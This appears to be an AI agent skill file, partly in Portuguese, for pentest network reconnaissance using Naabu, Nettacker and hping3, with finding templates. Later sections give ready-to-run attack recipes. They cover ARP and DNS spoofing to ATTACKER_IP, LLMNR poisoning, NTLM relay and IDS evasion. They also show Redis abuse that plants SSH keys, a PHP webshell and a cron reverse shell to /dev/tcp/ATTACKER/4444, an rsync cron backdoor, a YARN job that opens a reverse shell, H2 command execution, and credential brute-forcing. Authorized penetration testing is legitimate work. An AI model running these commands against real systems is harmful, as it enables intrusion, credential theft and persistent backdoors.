| name | pentest-network-scanning |
| description | Network reconnaissance and port scanning using Naabu, hping3, and complementary tools |
| type | skill |
Network Scanning & Port Enumeration
🎯 pfSense Detection & Routing
IMPORTANTE: Se durante o scan de rede você identificar um alvo pfSense, ATIVE A SKILL pentest-pfsense imediatamente.
Indicadores de pfSense
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"
nmap -sV -p 443 TARGET | grep -iE "nginx|pfsense"
shodan search "product:pfsense http.title:pfSense"
Sinais de Alerta
Ação Imediata
Objetivo
Realizar descoberta de hosts, enumeração de portas e mapeamento de superfície de ataque de rede usando Naabu como ferramenta primária, complementado por hping3 para técnicas de evasão.
Ferramenta Primária: Naabu
Naabu é um port scanner escrito em Go que realiza varreduras SYN/CONNECT/UDP de forma rápida e confiável.
Instalação e Verificação
naabu -version
naabu -health-check
Prerequisites
- Linux:
libpcap-dev instalado (apt install -y libpcap-dev)
- Windows: Npcap instalado
- Mac:
brew install libpcap
- Root privileges: Necessários para SYN scan (recomendado)
1. Quick Commands (PTES 2.5.4 - Active Footprinting)
Scan Básico
naabu -host example.com
naabu -host example.com -silent
naabu -host example.com,google.com,192.168.1.1
naabu -l hosts.txt
Scan de Portas Específicas
naabu -host example.com -p 80,443,8080,8443
naabu -host example.com -p 1-1000
naabu -host example.com -p -
naabu -host example.com -tp 1000
naabu -host example.com -p - -ep 22,23
Scan por Tipo
naabu -host example.com -s SYN
naabu -host example.com -s CONNECT
naabu -host example.com -p u:53,u:161,u:123
naabu -host example.com -p u:53 -cp "DNS query"
Output e Formatos
naabu -host example.com -j -o output.json
naabu -host example.com -csv -o output.csv
naabu -host example.com -o output.txt
naabu -host example.com -silent | httpx -silent
2. Host Discovery (PTES 2.5.4.1 - Ping Sweeps)
Técnicas de Host Discovery
naabu -host 192.168.1.0/24 -sn
naabu -host 192.168.1.0/24 -sn -arp
naabu -host 192.168.1.0/24 -sn -pe
naabu -host 192.168.1.0/24 -sn -ps 80,443
naabu -host 192.168.1.0/24 -sn -pa 443
naabu -host 192.168.1.0/24 -sn -pp
naabu -host 2001:db8::/32 -sn -nd
naabu -host 192.168.1.0/24 -sn -arp -pe -ps 80,443
Skip Host Discovery
naabu -host example.com -Pn
3. Advanced Scanning (PTES 2.5.4.8 - Port Scanning)
Rate Limiting e Performance
naabu -host example.com -rate 1000
naabu -host example.com -c 25
naabu -host example.com -timeout 5000
naabu -host example.com -retries 3
naabu -host example.com -warm-up-time 2
IPv4/IPv6 Scanning
naabu -host example.com
naabu -host example.com -iv 4
naabu -host example.com -iv 6
naabu -host example.com -sa
CDN/WAF Exclusion (PTES 2.5.4 - Active Footprinting)
naabu -host example.com -ec
naabu -host example.com -ec -cdn
Passive Port Discovery
naabu -host example.com -passive
naabu -host example.com -passive -p 80,443
4. Network Interface Configuration
Interface Selection
naabu -il
naabu -host example.com -i eth0
naabu -host example.com -source-ip 192.168.1.100
naabu -host example.com -source-port 54321
Proxy Support
naabu -host example.com -proxy 127.0.0.1:9050
naabu -host example.com -proxy 127.0.0.1:9050 -proxy-auth user:pass
DNS Resolution
naabu -host example.com -r 8.8.8.8,1.1.1.1
naabu -host example.com -sr
naabu -host example.com -dns-order pl
5. Nmap Integration (PTES 2.5.4 - Service Discovery)
Service Discovery com Nmap
naabu -host example.com -nmap-cli 'nmap -sV -sC'
naabu -host example.com -nmap-cli 'nmap -sV -oX nmap-output.xml'
naabu -host example.com -nmap-cli 'nmap -sV -O'
naabu -host example.com -nmap-cli 'nmap -sC --script vuln'
Service Discovery Nativo
naabu -host example.com -sD
naabu -host example.com -sV
naabu -host example.com -sD -sV
6. Smart Scanning (PTES 3.1 - Vulnerability Testing)
Predictive Port Scanning
naabu -host example.com -ss
naabu -host example.com -ss -pt 50
Verification Mode
naabu -host example.com -verify
naabu -host example.com -ping
7. Stream Mode (PTES 2.5.4 - Large Scale Scanning)
Stream para Grandes Volumes
naabu -l targets.txt -stream -silent
naabu -l targets.txt -stream -rate 500
8. Integration Workflows
Naabu + httpx (Web Server Discovery)
naabu -host example.com -silent | httpx -silent
naabu -host example.com -j | httpx -json
naabu -host example.com -p 80,443,8080 -silent | httpx -title -tech-detect
Naabu + Nuclei (Vulnerability Scanning)
naabu -host example.com -silent | httpx -silent | nuclei -silent
naabu -host example.com -p 80,443 -j | jq -r '.ip' | nuclei -hosts -
Naabu + Subfinder (Full Recon)
subfinder -d example.com -silent | naabu -silent
subfinder -d example.com -silent | naabu -p 80,443 -silent | httpx -silent
Naabu + Masscan (Large Scale)
masscan -p80,443 192.168.0.0/16 --rate 10000 -oL masscan.txt
cat masscan.txt | awk '{print $4}' | naabu -verify -silent
9. Comparison: Naabu vs hping3
| Característica | Naabu | hping3 |
|---|
| Velocidade | Ultra-rápido (Go, multi-threaded) | Rápido (single-threaded) |
| SYN Scan | ✅ Nativo | ✅ Manual |
| CONNECT Scan | ✅ Nativo | ❌ Não suporta |
| UDP Scan | ✅ Nativo com payload | ✅ Manual |
| Host Discovery | ✅ Múltiplas probes | ✅ ICMP/TCP manual |
| Output Formats | JSON, CSV, TXT | Texto apenas |
| Nmap Integration | ✅ Nativa | ❌ Manual |
| Evasion | Básica | ✅ Avançada (fragmentação, spoofing) |
| IDS Evasion | Limitada | ✅ XMAS, NULL, fragmentação |
| Use Case | Enumeração em massa | Evasão, firewall testing |
Quando usar cada ferramenta:
Usar Naabu quando:
- Enumeração rápida de múltiplos hosts/portas
- Precisa de output estruturado (JSON/CSV)
- Integração com outras tools (httpx, nuclei)
- Scan de grandes ranges (CIDR)
- Precisa de CDN/WAF detection
Usar hping3 quando:
- Firewall stateless detectado
- Precisa de packet crafting customizado
- Testar regras específicas de firewall
- IDS/IPS evasion testing
- Fragmentation attacks
10. Template de Finding - Port Scanning
FINDING: NETWORK-RECONNAISSANCE-NAABU
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting
TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
no alvo, expondo os seguintes serviços: [serviços]
EVIDENCE:
naabu -host [target] -p [ports] -silent
[Output do scan]
SERVICES DISCOVERED:
- Port 22: SSH
- Port 80: HTTP (nginx)
- Port 443: HTTPS (nginx)
- Port 3306: MySQL (interno exposto!)
RECOMMENDATIONS:
- Fechar portas não necessárias
- Implementar firewall rules
- Usar VPN para serviços internos
- Habilitar rate limiting
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
Template de Finding - Serviço Exposto
FINDING: EXPOSED-SERVICE-[PORT]
CATEGORY: NETWORK_EXPOSURE
SEVERITY: [MEDIUM/HIGH/CRITICAL]
AFFECTED RESOURCE:
- IP/Hostname: [target]
- Port: [port]
- Service: [service name/version]
DESCRIPTION:
Serviço [service] exposto na porta [port] sem
restrições de acesso adequadas.
EVIDENCE:
naabu -host [target] -p [port] -silent
nmap -sV -p [port] [target]
IMPACT:
- [Descrever impacto potencial]
REMEDIATION:
1. Restringir acesso via security groups/firewall
2. Implementar autenticação
3. Mover para rede privada/VPN
4. Habilitar logging e monitoramento
PTES REFERENCE: Section 2.5.4, 3.1
11. Config File
Configuração Persistente (~/.config/naabu/config.yaml)
rate: 1000
timeout: 1000
retries: 3
scan-type: SYN
ip-version:
- "4"
- "6"
exclude-cdn: true
output-cdn: true
json: true
12. Debug e Troubleshooting
Health Check
naabu -health-check
naabu -host example.com -debug
naabu -host example.com -v
Common Issues
naabu -host example.com -s CONNECT
naabu -host example.com -sr
naabu -host example.com -rate 100
13. Integration with Existing Skills
Combined Workflow (PTES Phases)
PTES 2.5 - External Footprinting:
1. subfinder -d target.com | naabu -silent
2. naabu -host target.com -p - -ec
3. naabu results | httpx | nuclei
PTES 3.1 - Vulnerability Testing:
1. naabu -host target.com -ss (smart scan)
2. naabu -host target.com -nmap-cli 'nmap -sV --script vuln'
PTES 4.1 - Precision Strike:
1. naabu identifica portas abertas
2. hping3 testa firewall rules
3. headi testa HTTP header injection
4. Exploração baseada nos resultados
14. OWASP Nettacker Integration (PTES 2.5.4 - Active Footprinting)
Visão Geral do Nettacker
OWASP Nettacker é um framework Python-based de penetration testing automatizado que complementa Naabu e hping3 com:
- 106+ módulos de scan, vulnerabilidade e brute-force
- Port scanning com detecção de serviços
- Vulnerability scanning com 50+ CVE checks
- Subdomain enumeration integrado
- Web technology detection (Wappalyzer-based)
- Multiple output formats: HTML, JSON, CSV, SARIF
- REST API + Web UI para automação
Quando usar Nettacker vs Naabu
| Característica | Nettacker | Naabu |
|---|
| Velocidade | Moderado (Python) | Ultra-rápido (Go) |
| Port Scanning | ✅ 1000 top ports | ✅ 1000 top ports |
| CVE Detection | ✅ 50+ módulos | ❌ Requer nuclei |
| Brute-Force | ✅ 8 módulos | ❌ Não suporta |
| Subdomain Scan | ✅ Nativo | ❌ Requer subfinder |
| Web Tech Detection | ✅ Nativo | ❌ Requer httpx |
| API/Web UI | ✅ REST API + Web UI | ❌ CLI apenas |
| Report Formats | HTML, JSON, CSV, SARIF | JSON, CSV, TXT |
| Service Discovery | ✅ Signature-based | ✅ Básico |
Use Nettacker quando:
- Precisa de vulnerability scanning integrado (CVE checks)
- Quer brute-force em serviços (FTP, SSH, HTTP auth)
- Precisa de subdomain enumeration + port scan em um comando
- Quer API REST para automação/integração
- Precisa de relatórios HTML formatados automaticamente
Use Naabu quando:
- Velocidade é crítica (grandes ranges)
- Já tem workflow com httpx + nuclei
- Precisa de CDN/WAF detection avançado
- Quer apenas port scanning rápido
Nettacker via Docker (Recomendado)
cd /opt/Tools/Nettacker
docker compose up -d
curl -k https://localhost:5000
Nettacker CLI via Docker
docker run --rm owasp/nettacker -i target.com -m port_scan
docker run --rm owasp/nettacker -i target.com -m port_scan -g 1-65535
docker run --rm owasp/nettacker -i target.com -m port_scan --graph d3_tree_v2_graph -o report.html
docker run --rm owasp/nettacker -i target.com -d -m port_scan
docker run --rm owasp/nettacker -i target.com -m *_vuln
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,log4j_cve_2021_44228_vuln
docker run --rm owasp/nettacker -i target.com -m ftp_brute,ssh_brute,http_basic_auth_brute -u admin,root -p password,123456
docker run --rm owasp/nettacker -i target.com -m admin_scan
docker run --rm owasp/nettacker -i target.com -m dir_scan
docker run --rm owasp/nettacker -i target.com -m waf_scan
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln,ssl_version_vuln,heartbleed_vuln,ssl_expired_certificate_vuln
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln
docker run --rm owasp/nettacker -i target.com -m graphql_vuln
docker run --rm owasp/nettacker -i target.com -m port_scan,admin_scan,dir_scan,waf_scan,ssl_*_vuln -o report.html --graph d3_tree_v2_graph
docker run --rm -v $(pwd)/targets.txt:/targets.txt owasp/nettacker -l /targets.txt -m port_scan
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.html
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.json
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.csv
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.sarif
Nettacker API Integration
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')
curl -k -X POST "https://localhost:5000/new/scan" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${API_KEY}&targets=target.com&selected_modules=port_scan,admin_scan,vuln&report_path_filename=/tmp/report.html"
curl -k "https://localhost:5000/results/get_list?page=1" \
-H "Cookie: key=${API_KEY}"
curl -k "https://localhost:5000/results/get?id=1" \
-H "Cookie: key=${API_KEY}"
curl -k "https://localhost:5000/logs/search?q=port_scan&page=1" \
-H "Cookie: key=${API_KEY}"
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}"
curl -k "https://localhost:5000/logs/get_html?target=target.com&key=${API_KEY}" -o report.html
Nettacker Modules Reference
Scan Modules (Reconnaissance)
- port_scan: Open ports + service detection (1000 top ports)
- admin_scan: Admin panels (/admin, /wp-admin, /phpmyadmin)
- dir_scan: Directory brute-forcing
- subdomain_scan: Subdomain enumeration
- waf_scan: Web Application Firewall detection
- http_status_scan: HTTP status codes
- http_redirect_scan: HTTP redirects
- http_html_title_scan: HTML title extraction
- iceroute_version_scan: IceWarp version detection
- cups_version_scan: CUPS version on port 631
- web_technologies_scan: Tech stack detection (Wappalyzer)
- ssl_expiring_certificate_scan: SSL expiry check
- joomla_template_scan, joomla_user_enum_scan, joomla_version_scan
- wordpress_version_scan, wp_plugin_scan, wp_theme_scan, wp_timethumbs_scan
- drupal_version_scan, drupal_modules_scan, drupal_theme_scan
- viewdns_reverse_iplookup_scan: Reverse IP lookup
Vuln Modules (50+ CVE Checks)
Critical CVEs:
- f5_cve_2020_5902_vuln: F5 BIG-IP RCE (CVSS 9.8)
- citrix_cve_2019_19781_vuln: Citrix ADC RCE (CVSS 9.8)
- vbulletin_cve_2019_16759_vuln: vBulletin RCE (CVSS 9.8)
- msexchange_cve_2021_26855: ProxyLogon SSRF (CVSS 9.8)
- log4j_cve_2021_44228_vuln: Log4Shell RCE (CVSS 10.0)
- apache_struts_vuln: Struts RCE CVE-2017-5638 (CVSS 10.0)
- xdebug_rce_vuln: XDebug RCE (CVSS 10.0)
High Severity:
- citrix_cve_2023_24488_vuln: Citrix XSS
- sonicwall_sslvpn_cve_2024_53704_vuln: SonicWall SSLVPN
- ivanti_epmm_cve_2023_35082_vuln: Ivanti EPMM
- confluence_cve_2023_22515_vuln, confluence_cve_2023_22527_vuln
- grafana_cve_2021_43798_vuln
- joomla_cve_2023_23752_vuln
SSL/TLS:
- heartbleed_vuln: CVE-2014-0160
- ssl_weak_cipher_vuln: Weak cipher suites
- ssl_version_vuln: SSLv2/SSLv3 support
- ssl_expired_certificate_vuln: Expired certs
- ssl_signed_certificate_vuln: Self-signed certs
HTTP Security Headers:
- clickjacking_vuln: Missing X-Frame-Options
- content_security_policy_vuln: Missing CSP
- content_type_options_vuln: Missing X-Content-Type-Options
- xss_protection_vuln: Missing X-XSS-Protection
- server_version_vuln: Server banner leak
- x_powered_by_vuln: X-Powered-By leak
- http_cors_vuln: Overly permissive CORS
- http_cookie_vuln: Insecure cookie attributes
- strict_transport_security_vuln: Missing HSTS
Brute Modules
- ftp_brute: FTP authentication
- ssh_brute: SSH authentication
- smtp_brute: SMTP authentication
- telnet_brute: Telnet authentication
- http_basic_auth_brute: HTTP Basic Auth
- http_form_brute: HTTP form login
- http_ntlm_brute: HTTP NTLM auth
- wp_xmlrpc_brute: WordPress XMLRPC
Nettacker + pfSense Detection
docker run --rm owasp/nettacker -i pfsense-target.com -m ssl_expiring_certificate_scan,ssl_signed_certificate_vuln
docker run --rm owasp/nettacker -i pfsense-target.com -m http_html_title_scan,web_technologies_scan
docker run --rm owasp/nettacker -i pfsense-target.com -m clickjacking_vuln,content_security_policy_vuln,ssl_weak_cipher_vuln
docker run --rm owasp/nettacker -i pfsense-target.com -m port_scan,ssl_*_vuln,http_*_scan -o pfsense_report.html
Template de Finding - Nettacker Scan
FINDING: NETWORK-RECONNAISSANCE-NETTACKER
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting
TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
- Vulnerabilidades detectadas: [lista]
DESCRIPTION:
OWASP Nettacker identificou [X] portas abertas, [Y] serviços,
e [Z] vulnerabilidades potenciais no alvo.
MODULES USED:
- port_scan: Network port enumeration
- admin_scan: Admin panel discovery
- *_vuln: CVE vulnerability checks
- waf_scan: WAF detection
EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [modules] -o report.json
OUTPUT FILES:
- report.html: Interactive HTML report with graphs
- report.json: Structured JSON data
- report.csv: Spreadsheet format
- report.sarif: SARIF format for SIEM integration
REMEDIATION:
[Based on specific findings from Nettacker modules]
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
Nettacker Output Formats
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.html --graph d3_tree_v2_graph
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan \
-o /output/report.json
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan \
-o /output/report.csv
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.sarif
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.dd.json
Nettacker Profiles
docker run --rm owasp/nettacker -i target.com --profile information_gathering
docker run --rm owasp/nettacker -i target.com --profile vulnerabilities
docker run --rm owasp/nettacker -i target.com --profile high_severity
docker run --rm owasp/nettacker -i target.com --profile backup
docker run --rm owasp/nettacker -i target.com --profile brute
Nettacker Advanced Options
docker run --rm owasp/nettacker -i target.com -m port_scan -t 100 -M 20
docker run --rm owasp/nettacker -i target.com -m port_scan -T 5 --retries 3
docker run --rm owasp/nettacker -i target.com -m port_scan -w 1
docker run --rm owasp/nettacker -i target.com -m port_scan -R socks5://127.0.0.1:9050
docker run --rm owasp/nettacker -i target.com -m http_*_scan --user-agent "Mozilla/5.0"
docker run --rm owasp/nettacker -i target.com -m http_*_scan -H "Authorization: Bearer token" -H "X-Custom: value"
docker run --rm owasp/nettacker -i target.com -m port_scan -v 3
docker run --rm owasp/nettacker -i target.com -m port_scan --ping-before-scan
docker run --rm owasp/nettacker -i target.com -m port_scan --set-hardware-usage low
Nettacker + Naabu Combined Workflow
naabu -host target.com -p - -silent -o naabu_ports.txt
ports=$(cat naabu_ports.txt | grep -oE '[0-9]+' | tr '\n' ',' | sed 's/,$//')
docker run --rm -v $(pwd):/data owasp/nettacker \
-i target.com -m *_vuln,admin_scan,waf_scan \
-g "$ports" \
-o /data/vuln_report.html
cat naabu_ports.txt
cat vuln_report.json | jq '.vulnerabilities'
15. Subdomain Enumeration & Asset Discovery (PTES 2.5.4 - Active Footprinting)
Técnicas de Subdomain Enumeration do Claude-OSINT
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'
echo "target.com" | dnsx -silent -resp-only
subfinder -d target.com -silent
amass enum -passive -d target.com
Asset Graph Discipline (29 Tipos de Asset)
TIPOS DE ASSET:
1. DOMAIN_REGISTRAR
2. DOMAIN
3. SUBDOMAIN
4. ORIGIN_SERVER
5. CDN_ENDPOINT
6. WAF
7. LOAD_BALANCER
8. REVERSE_PROXY
9. WEB_SERVER
10. API_GATEWAY
11. AUTH_SERVER
12. IDP (Identity Provider)
13. MAIL_SERVER
14. MX_RECORD
15. DNS_SERVER
16. CLOUD_BUCKET (S3, GCS, Azure)
17. CLOUD_FUNCTION
18. CONTAINER_REGISTRY
19. CI_CD_PIPELINE
20. GIT_REPOSITORY
21. DOCUMENTATION_SITE
22. ADMIN_PANEL
23. MONITORING_ENDPOINT
24. BACKUP_SERVER
25. DATABASE_SERVER
26. MESSAGE_QUEUE
27. CACHE_SERVER
28. FILE_STORAGE
29. THIRD_PARTY_INTEGRATION
Edge Taxonomy (Relacionamentos entre Assets)
EDGE TYPES:
- RESOLVES_TO: subdomain → IP
- HOSTS: IP → domain
- SERVES: server → content
- PROTECTS: WAF → origin
- CACHES: CDN → origin
- FORWARDS_TO: proxy → backend
- AUTHENTICATES: IdP → application
- STORES: bucket → data
- DEPLOYS: CI/CD → infrastructure
- MONITORS: monitoring → target
- BACKS_UP: backup → primary
WAF/CDN Bypass & Origin Discovery
curl -s "https://api.securitytrails.com/v1/domain/target.com/history" \
-H "APIKEY: $SECURITYTRAILS_KEY" | jq '.records[] | select(.type=="A")'
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[] | "\(.before_value)|\(.issuer_name)"' | sort -u
shodan search "ssl.cert.subject.cn:*.target.com" --fields ip_str,port,hostnames
curl -s "https://target.com/.git/config"
curl -s "https://target.com/.env"
curl -s "https://target.com/server-status"
for sub in www mail ftp api dev staging prod; do
dig +short $sub.target.com @8.8.8.8
dig +short $sub.target.com @1.1.1.1
done
Email Security Analysis (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)
dig +short target.com TXT | grep -i "v=spf1"
dig +short _dmarc.target.com TXT | grep -i "v=DMARC1"
for selector in default google mailo selector1 _domainkey; do
dig +short $selector._domainkey.target.com TXT
done
dig +short default._bimi.target.com TXT
curl -s "https://mta-sts.target.com/.well-known/mta-sts.txt"
dig +dnssec target.com | grep -E "flags:|ad"
Template de Finding - Subdomain Takeover Risk
FINDING: SUBDOMAIN-TAKEOVER-RISK
CATEGORY: RECONNAISSANCE
SEVERITY: HIGH (se CNAME para serviço inexistente)
PTES: 2.5.4 - Active Footprinting
AFFECTED RESOURCE:
- Subdomain: [subdomain.target.com]
- CNAME: [apaga-servico.github.io / herokuapp.com / etc.]
DESCRIPTION:
O subdomain aponta para um serviço de terceiros que não
está mais provisionado, permitindo subdomain takeover.
EVIDENCE:
dig +short subdomain.target.com
# Retorna: CNAME para serviço inexistente
curl -s https://subdomain.target.com
# Retorna: 404 do serviço (GitHub Pages, Heroku, etc.)
REMEDIATION:
1. Remover DNS record ou
2. Provisionar o serviço no terceiro ou
3. Apontar para página de erro controlada
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
16. NETWORK PROTOCOL ATTACKS (PTES 4.1 - Precision Strike)
16.1 ARP Spoofing — MitM Positioning
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
16.2 Selective Targeting (Stealth)
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
16.3 LLMNR / NBT-NS / mDNS Poisoning
responder -I eth0 -dwPv
responder -I eth0 -A
16.4 Captured Hash Formats
| Protocol | Hash Type | Hashcat Mode | Crackability |
|---|
| NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable |
| NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules |
| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
16.5 WPAD Abuse
responder -I eth0 -wPv
cat > wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
return "PROXY ATTACKER_IP:3128; DIRECT";
}
EOF
16.6 DHCPv6 Attack — mitm6
Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.
mitm6 -d domain.com
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
Key Conditions:
- SMB signing disabled on targets (for SMB relay)
- LDAP signing not enforced on DC (for LDAP relay)
- Domain Computers quota > 0 (for machine account creation, default: 10)
16.7 VLAN Hopping
yersinia dtp -attack 1 -interface eth0
./frogger.sh
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")
16.8 STP Manipulation
yersinia stp -attack 4 -interface eth0
yersinia stp -attack 1 -interface eth0
16.9 DNS Spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
16.10 IPv6 Attacks
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
atk6-parasite6 eth0
atk6-redir6 eth0 ...
16.11 IDS/IPS Evasion Techniques
| Technique | Method | Tool/Flag |
|---|
| IP Fragmentation | Split payload across fragments | nmap -f, fragroute |
| TTL Manipulation | Set TTL to expire at IDS but reach target | fragroute |
| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
| Session Splicing | Split TCP payload across segments | fragroute, nmap --data-length |
| Timing-Based | Slow scan to avoid rate-based detection | nmap -T0, nmap -T1 |
| Decoy Scanning | Mix real scan with decoy source IPs | nmap -D RND:10 |
| Idle/Zombie Scan | Use idle host as scan proxy | nmap -sI ZOMBIE_IP |
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
17. UNAUTHORIZED ACCESS TO COMMON SERVICES (PTES 4.1)
17.1 Service Discovery Matrix
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
17.2 Redis (Port 6379) — Write-to-RCE
redis-cli -h TARGET ping
redis-cli -h TARGET INFO server
ssh-keygen -t rsa -f redis_rsa
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
ssh -i redis_rsa root@TARGET
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
17.3 Rsync (Port 873) — Data Theft
rsync TARGET::
rsync -av TARGET::MODULE_NAME /tmp/loot/
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
17.4 PHP-FPM / FastCGI (Port 9000) — Code Execution
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
python3 gopherus.py --exploit fastcgi
17.5 Ghostcat — AJP (Port 8009) — CVE-2019-17564
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
17.6 Hadoop YARN ResourceManager (Port 8088)
curl http://TARGET:8088/cluster
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'
17.7 H2 Database Console (Port 8082)
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
17.8 Reverse Proxy Misconfiguration
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
{{.Req.Host}} → Information disclosure
{{readFile "/etc/passwd"}} → Local file read via Go template
18. Output Esperado desta Fase
- Lista de hosts ativos (PTES 2.5.4.1)
- Portas abertas por host (PTES 2.5.4.8)
- Serviços identificados (PTES 2.5.4.7 - Banner Grabbing)
- CDN/WAF detection (PTES 2.5.4)
- Firewall rules mapeadas (com hping3)
- HTTP injection points (com headi)
- Network diagram com superfície de ataque
- Vulnerability scan results (com Nettacker)
- Admin panels descobertos (com Nettacker admin_scan)
- CVE findings (com Nettacker vuln modules)
- Subdomain enumeration results (crt.sh + fallback chain)
- Asset graph com 29 tipos de assets e edge taxonomy
- Origin servers descobertos (CDN/WAF bypass)
- Email security posture (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)
- Network protocol attack vectors (ARP spoofing, LLMNR/NBT-NS, WPAD, DHCPv6)
- Exposed service exploitation paths (Redis, Rsync, PHP-FPM, Ghostcat, YARN, H2)
- IDS/IPS evasion strategies (fragmentation, timing, decoys)
Referências PTES
- PTES Section 2.5: External Footprinting
- 2.5.1: Identifying IP Ranges
- 2.5.3: Passive Reconnaissance
- 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
- PTES Section 3.1: Vulnerability Testing
- PTES Section 4.1: Precision Strike (Countermeasure Bypass)
🤖 AIRecon Integration for Network Scanning
NOTE: AIRecon can automate network scanning workflows, combine Naabu + Nettacker results, and provide intelligent target prioritization.
AIRecon Invocation for Network Scanning
airecon "scan target.com with naabu port scanner"
airecon "network scan target.com using naabu and nettacker"
airecon "stealth network scan target.com with hping3 evasion"
airecon "scan 192.168.1.0/24 subnet for active hosts and open ports"
Slash Command Integration
